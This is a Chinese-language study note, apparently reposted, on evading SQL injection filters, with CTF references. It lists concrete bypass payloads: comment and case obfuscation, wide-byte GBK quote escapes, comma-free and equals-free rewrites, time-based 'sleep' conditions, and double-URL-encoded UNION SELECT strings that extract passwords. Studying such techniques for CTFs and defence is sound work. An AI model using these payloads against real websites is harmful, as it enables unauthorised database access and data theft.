SQL注入學習總結(四):SQL注入中的繞過


SQL注入中的繞過

一.對於關鍵字的繞過

  1. 注釋符繞過:uni/**/on se/**/lect
  2. 大小寫繞過:UniOn SeleCt
  3. 雙關鍵字繞過:ununionion seselectlect
  4. <>繞過:unio<>n sel<>ect(可能是有些網站為了防止xss注入,所以過濾了<>,參照i春秋sql)
  5. 對於and,or的繞過其實還可以嘗試一下&&,||,異或注入

這里需要注意一點就是or被過濾的時候order,information中的or也被過濾了


二.對特殊字符的繞過

  • 對空格的繞過:
兩個空格代替一個,用tab鍵代替空格
`/**/ %20 %09 %0a` 
利用空格繞過:很多關鍵字都可以寫成帶括號的形式select(),or()
特殊函數中的空格繞過:ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1)))
  • 對單引號的繞過:

    寬字節 %bf%27 %df%27 %aa%27(爭對字符集為GBK時使用

    十六進制繞過(針對需要輸入表名的時候 'user'=>0x7573657273)

  • 對逗號的繞過:

      substr(x,1,1),mid(x,1,1)=>substr(x from 1 for 1) mid(x from 1 for 1)
      limit 0,1=> limit 0 offset 1
      join(本身是用來連接兩個表單的,所以join一定是要放在from后面放表單的位置):
      union select 1,2 =>
      union select * from (select 1)a join (select 2)b
      select case when (條件) then (代碼1) else (代碼2) end 可以對應上if(條件,代碼1,代碼2)
      if(substring((select user()) from 1 for 1)='e',sleep(5),1)
      可以變為
      select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
       
  • 等號的繞過:

	利用<>(即不等於號)繞過
	利用like繞過
	利用greatest()繞過(greatest(a,b)返回較大的那個數)
	?id=' or 1 like 1
	?id=' or 1 <> 1
	?id=' union select greatest(substr((select user()),1,1),95)

三.其他類型的繞過

  • 編碼繞過:
	* 雙重url編碼:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users--+
	* unicode編碼:'=> %u0037 %u02b9
				  空格=> %u0020 %uff00
				  左括號=> %u0028 %uff08
  				  右括號=> %u0029 %uff09
  • 相同字符的繞過:

    題目中有是可能會出現一種情況:

它不允許出現某個字符串,但是在數據庫中又確實存在這個字符串,再加之mysql與php的編碼字符集不相同,便可以利用相似的字符將其繞過

1.png

可以參考的題目百度杯十月場look


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM